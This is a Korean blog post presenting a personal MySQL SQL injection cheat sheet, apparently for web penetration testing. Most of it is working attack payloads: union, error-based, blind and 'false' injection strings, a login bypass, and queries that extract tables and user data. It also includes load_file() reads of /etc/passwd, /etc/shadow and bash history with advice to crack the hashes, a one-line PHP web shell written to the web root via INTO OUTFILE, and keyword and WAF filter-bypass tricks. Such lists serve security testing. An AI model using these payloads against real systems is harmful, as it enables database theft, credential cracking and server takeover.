sql인젝션


SQL Injection 맨날 하면서도 맨날 까먹어서 치트시트 검색하곤 했는데 그냥 직접 만들어 놓고 보기로 했다. 


시작은 MySQL !! 







### SQL Injection Cheat Sheet - MySQL ###



             v0.1 

by hyunmini

last updated 2014.09.25





  # 테스트 순서


 1. 취약여부 확인 및 공격 기법 선택  


  1) Basic Injection               // 취약점 테스트


    ex)  no=1 and 1=1#



  2) Error Based Injection     // 데이터베이스 가져오기 가장 편함

    

    ex) no=-1'  (에러 메시지 출력 유무 확인)



  3) Union Injection               // 쿼리 하나당 결과 하나이상 가져올 수 있음 


    ex) no=-1 union select 1,2 --

          no=-1 union select 1,2,3 --

          no=-1 union select 1,2,3,4 --  ( 문자열이고 화면에 보여지는 컬럼 확인 )



  4) Blind Injection                 // 쿼리8번에 1글자씩 가져옴. 느리고 툴이 필요함


    ex) no=1 and 1=1 #

          no=1 and 1=2 #

          no=1 and substring( version(), 1,1 ) > '4' 




 2. 버전 확인


  - 4.0 이하와 4.1 이상 버전의 공격기법에 차이가 있음(4.0 이하는 subquery 불가 및  information_schema 미존재)

   ex) version(),  @@version 등 



 3. 테이블명 추출


  ex)  ' and 1,2,3, (select table_name from information_schema.tables limit 0,1),4 --

   output => userinfo



 4. 필드명 추출


  ex) ' and 1,2,3, (select column_name from information_schama.columns limit 0,1), 4 --

   output => uid


 

5. 데이터 추출


  ex) ' and 1,2,3, (select uid from userinfo limit 0,1), 4 --

   output => admin

 


 6. 접속 유저 및 파일 권한 확인


 7. OS Interaction 공격 시도

 

 - load_file('/etc/passwd')  ->  계정 및 홈폴더 등 확인

 - load_file('/etc/shadow')  - >  shadow 크랙 ->  크랙된 계정으로 서버 접근 시도

 - load_file('/root/.bash_history')  ->  명령어 확인, 간혹 mysql -U[user] -P[password]  등의 정보도 확인 가능

 - load_file('/.rhosts') -> 신뢰호스트 및 계정 확인, 서버 접근 시도

 - load_file('/etc/apache2/apache2.conf') ->  document root 폴더 확인, 기타 서비스 확인 등


 - select '<? system("$_GET['cmd']"); ?>' into outfile '/var/www/shell.php'   ->  www.vul.com/shell.php?cmd=id

 




 # Basic Injection

 

 1. String 


 ' and 1=1--

 ' or 'a'='a

 '='

 ' and 'c'='c

 ' and 1# 

 ' or '1

 ' or 1--+

 " or ""="

 "="

 '='

 '=0#


 2. Numeric 


 and 1=1#

 and 1

 and true = 1-- 

 and 1*1

 and 3-2

 =0




  # Comment


  #

  --

  /*  */ 

  -- 

  ;

  ; %00

  ` 




  # Error Based Injection

 mysql> select sum(5),concat(version(),floor(rand(0)*2))as a from information_schema.tables group by a;

 

 -> ERROR 1062 (23000): Duplicate entry '5.1.63-0ubuntu0.10.04.11' for key 'group_key' 



 ' union (select count(*),concat('result: ',database(),' :',floor(rand(0)*2))as b from information_schema.tables group by b)#


  -> ERROR 1062 (23000): Duplicate entry 'result: 
test :1' for key 'group_key'




  # Union Injection

 

 1) 컬럼수 확인 


 ' union 1 --

 ' union 1,2 --

 ' union 1,2,3 --



 2) 문자필드 및 출력필드 확인


 ' union 1,2,'a',4,5 -- 

 ' union 1,2,3,'a',5 --



 3) Union 인젝션

 -1' union select 1,2,3,version(),0 #                // 4.0 이하

 -1' union select 1,2,3,(select version()),0 #   // 서브쿼리는 4.1 이상만 가능

 -1' union select 1,2,3,user from mysql.user #      // 4.0 이하에서 서브쿼리 대신 사용 가능





  # BlindSQL Injection 

 

 ' and 1=1 #   // True  

 ' and 1=2 #   // False

 ' or 1=1 --

 ' or 1=2 --

 ' and 'c' between 'a' and 'z' #


 ' and substring( (select table_name from information_schema.tables limit 0,1),1,1 ) > 'a'




  # Insert Injection

  b', 'c','d')--

  b', 'c','d')('a','b','c','d')#


 b', 'c','d')( user(), version(), 'c','d') #




  # False Injection

  a'=0 # 

  a'=1=1 #      //  True, 결과값 없음 

  a'=1=0 #      //  False, 논리적으로 1=1과 같음 => 모든 데이터 출력

  a'=1=1=1=0 #

  a'=1=1=1=1<>1 #

  no=1<>0

no=1<>1

no=1<0

no=1<1

no=1*1

no=1*0

no=1%0

no=1%1

no=1 div 0

no=1 div 1

no=1 regexp 0

no=1 regexp 1

no=1^0

no=1^1

   ...

  ex) False Injection 로그인 우회
        id='='
        id=1'='0
        id=1'^'1 
        id=1'-'1

  ex) False Blind Injection ( 아래 예제는 버전이 5.0 인 경우 )

        no=1=(if( substr(version(),1,1)='5' ,1 ,0 ))=0 #    // 1=0(False) , 데이터 출력

        no=1=(if( substr(version(),1,1)='4' ,1 ,0 ))=0 #    // 0=0(True) , 결과 없음





  # Basic Information

 select @@version       // 버전 

 select version()          // 버전

 select user()

 select system_user()



  # MySQL Function


 1. string

 

  mid()

  left()

  right()

  concat('a','b','c') = 'abc'


 2. 



# File I/O


 

# Filter Bypass



# Outbound



# 팁

 - load_file()을 이용한 서버 정보 추출

 - into outfile, dumpfile 을 이용한 웹쉘 생성



웹 점검을 하다 보면, 웹 방화벽 혹은 소스상에서 특정 키워드를 필터링 하는 경우를 볼 수 있다. 


이러한 경우 우회를 하기 위해선 먼저 어떤 문자열들이 필터링 당하는지 확인을 할 필요가 있다.


중요한 것은 먼저 필터링을 "발견" 하는 것이다. 필터링이 적용된 페이지 혹은 사이트의 경우


반응은 여러가지이다. 특정 문자열이 포함될 시 웹사이트의 반응은 아래와 같이 여러가지일 수 있다.



1) 500 에러 발생

2) 200 이지만 에러 페이지로 리다이렉트

3) 그냥 치환

4) 에러 메시지를 통한 자세한 정보 노출

5) 기타.. 



가장 편한 경우는 4) 의 경우이고, 다른 몇가지 경우에도 간단히 필터링되는 문자열을 찾아낼 수 있다.


1) 정상적인 페이지

 view.jsp?no=1155 


2) ' 가 필터링 되지 않아 아래의 경우에도 위와 동일한 응답

 view.jsp?no=11'55

 

3) " 는 필터링 되어 오류 메시지

 view.jsp?no=1155


위와 같은 방식으로 여러가지 특수문자들을 대입해 보면 필터링 당하는 문자열들을 발견할 수 있다.


필터링 당하는 문자열을 파악하고 나면, 공격 페이로드를 구성한 뒤 필터링 당하는 문자열들을 다른 문자열 혹은


함수를 이용하여 우회한다.


1. SQL Injection 

  1) 키워드 필터링 시

   - select, union 등 키워드 우회

      -> SeLEct

      -> s%E%l%e%c%T

      -> selselectect


   - or, and, = 등 필터링 시

      -> ^, |, & 사용

      -> like, between 사용


   - ' 필터링 시 문자열 조립

      -> char(0x41) + char(0x48) 

    

   - 공백 필터링

      -> /**/, %20, %2b, + , %09 등


                                                         ...(작성중)...

+ Recent posts